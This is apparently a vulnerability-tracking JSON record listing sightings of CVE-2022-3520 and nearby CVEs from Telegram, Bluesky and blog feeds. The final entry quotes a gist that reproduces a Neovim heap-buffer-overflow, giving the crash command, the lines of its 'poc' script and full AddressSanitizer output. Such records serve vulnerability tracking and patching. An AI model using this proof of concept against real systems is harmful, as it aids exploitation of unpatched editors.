{"vulnerability": "cve-2022-3520", "sightings": [{"uuid": "1cb2c0fd-a360-4cfd-b2fd-6378c49a7390", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35202", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhwendeo7m2d", "content": "", "creation_timestamp": "2025-02-11T19:15:41.747857Z"}, {"uuid": "cf75f080-94dc-4fec-9f2d-8d08b37576b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35202", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3lhwkyydwnl23", "content": "", "creation_timestamp": "2025-02-11T21:09:35.358250Z"}, {"uuid": "d0556363-1eb3-4f9b-88be-58c41cf2f1d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35202", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhwovydvy42u", "content": "", "creation_timestamp": "2025-02-11T22:19:31.772422Z"}, {"uuid": "6bbaa402-e8ab-4faf-bbb5-298ad255baa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35202", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lhxbxzfiks2m", "content": "", "creation_timestamp": "2025-02-12T04:00:45.385420Z"}, {"uuid": "ed32aef2-69a2-4950-bc13-560fd1ddceba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35202", "type": "seen", "source": "https://threatintel.cc/2025/02/11/how-autogenerated-passwords-in-sitevision.html", "content": "", "creation_timestamp": "2025-02-12T02:26:21.000000Z"}, {"uuid": "0f110925-129c-40a4-8f58-d5d289afd9b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35202", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lhyhlw3dwx2y", "content": "", "creation_timestamp": "2025-02-12T15:13:55.506392Z"}, {"uuid": "6ccac578-aca9-4780-96bf-d6953833da4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35202", "type": "seen", "source": "MISP/3e4b778d-5810-4171-a915-f1d106684af4", "content": "", "creation_timestamp": "2025-08-11T18:27:48.000000Z"}, {"uuid": "065c5a8e-a9a5-4ba7-aa32-55aad94aa334", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35202", "type": "seen", "source": "https://t.me/cvedetector/17736", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2022-35202 - Sitevision Java Keystore Exfiltration Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2022-35202 \nPublished : Feb. 11, 2025, 7:15 p.m. | 1\u00a0hour, 1\u00a0minute ago \nDescription : A security issue in Sitevision version 10.3.1 and older allows a remote attacker, in certain (non-default) scenarios, to gain access to the private keys used for signing SAML Authn requests. The underlying issue is a Java keystore that may become accessible and downloadable via WebDAV. This keystore is protected with a low-complexity, auto-generated password. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-11T21:33:24.000000Z"}, {"uuid": "83155f6c-2ac2-4be4-a14f-32ef21859a6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35206", "type": "seen", "source": "https://t.me/cibsecurity/68999", "content": "\u203c CVE-2022-35206 \u203c\n\nNull pointer dereference vulnerability in Binutils readelf 2.38.50 via function read_and_display_attr_value in file dwarf.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-22T22:24:59.000000Z"}, {"uuid": "3655381a-ea2e-4b90-854d-69c411389d10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3520", "type": "seen", "source": "https://t.me/cibsecurity/53846", "content": "\u203c CVE-2022-3520 \u203c\n\nHeap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0765.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-12-02T22:37:22.000000Z"}, {"uuid": "d2b8a738-9a16-4b28-a513-9ad5711b7390", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35203", "type": "seen", "source": "https://t.me/cibsecurity/48581", "content": "\u203c CVE-2022-35203 \u203c\n\nAn access control issue in TrendNet TV-IP572PI v1.0 allows unauthenticated attackers to access sensitive system information.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-23T16:35:37.000000Z"}, {"uuid": "b01ae6ef-e38e-4ad3-8392-215d63ee4cbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35201", "type": "seen", "source": "https://t.me/cibsecurity/48441", "content": "\u203c CVE-2022-35201 \u203c\n\nTenda-AC18 V15.03.05.05 was discovered to contain a remote command execution (RCE) vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-19T18:17:26.000000Z"}, {"uuid": "bb0b4a09-09c3-49da-b762-cf80c664eb3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35202", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/5033", "content": "How auto-generated passwords in Sitevision leads to signing key leakage - CVE-2022-35202  #SitevisionAutoGeneratedPasswords #SigningKeyLeakage #CVE202235202 #SwedishOffensiveSecurity #ShelltrailExperts https://www.shelltrail.com/research/how-auto-generated-passwords-in-sitevision-leads-to-signing-key-leakage-cve-2022-35202/", "creation_timestamp": "2026-08-02T03:00:05.062992Z"}, {"uuid": "09592c72-3f99-48d3-aaf9-258e29eb1f5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35202", "type": "seen", "source": "https://t.me/reverseame/5033", "content": "How auto-generated passwords in Sitevision leads to signing key leakage - CVE-2022-35202  #SitevisionAutoGeneratedPasswords #SigningKeyLeakage #CVE202235202 #SwedishOffensiveSecurity #ShelltrailExperts https://www.shelltrail.com/research/how-auto-generated-passwords-in-sitevision-leads-to-signing-key-leakage-cve-2022-35202/", "creation_timestamp": "2026-07-29T12:02:04.586950Z"}, {"uuid": "78db213a-a776-4ade-be90-8e79c09d45b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3520", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/5ab8fcdc82800687059f2e965f30e2a7", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3520)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm:be m^A^M\n:be m...\n:be mswin\nline 1: be mswin\n\nline 2: norm0yy\n\nline 3: no0 [Pv)\n\nline 4: norm00^A^M^Qs/\\v/^I\n\nline 5: sil0norm0^V00\n=================================================================\n==70971==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006c0f at pc 0x000000887cd5 bp 0x7ffeeb9eb9d0 sp 0x7ffeeb9eb9c8\nREAD of size 1 at 0x602000006c0f thread T0\n    #0 0x887cd4 in inc /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:3910:9\n    #1 0x8ed912 in nv_put_opt /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7345:9\n    #2 0x8e4b46 in nv_brackets /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5116:5\n    #3 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #4 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #5 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #6 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #7 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #8 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #10 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #11 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #12 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #13 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #14 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #15 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #16 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #17 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #18 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #19 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #20 0x7f12fda7a082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #21 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x602000006c0f is located 1 bytes to the left of 2-byte region [0x602000006c10,0x602000006c12)\nallocated by thread T0 here:\n    #0 0x4df6cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df6cd)\n    #1 0x88a149 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:82:15\n    #2 0x88a27a in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:116:15\n    #3 0x8ffea4 in do_put /home/zzw/Desktop/neovim/build/../src/nvim/ops.c:3316:14\n    #4 0x8ed863 in nv_put_opt /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7330:5\n    #5 0x8e4b46 in nv_brackets /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5116:5\n    #6 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #7 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #8 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #9 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #10 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #11 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #13 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #14 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #15 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #16 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #17 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #18 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #19 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #20 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #21 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #22 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #23 0x7f12fda7a082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/memline.c:3910:9 in inc\nShadow bytes around the buggy address:\n  0x0c047fff8d30: fa fa 01 fa fa fa 01 fa fa fa fd fa fa fa fd fa\n  0x0c047fff8d40: fa fa fd fa fa fa fd fa fa fa 02 fa fa fa fd fa\n  0x0c047fff8d50: fa fa fd fa fa fa 02 fa fa fa 01 fa fa fa 01 fa\n  0x0c047fff8d60: fa fa 02 fa fa fa 01 fa fa fa 01 fa fa fa 06 fa\n  0x0c047fff8d70: fa fa fd fa fa fa 00 00 fa fa 01 fa fa fa 01 fa\n=>0x0c047fff8d80: fa[fa]02 fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c047fff8dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==70971==ABORTING", "creation_timestamp": "2026-09-20T13:55:45.871549Z"}]}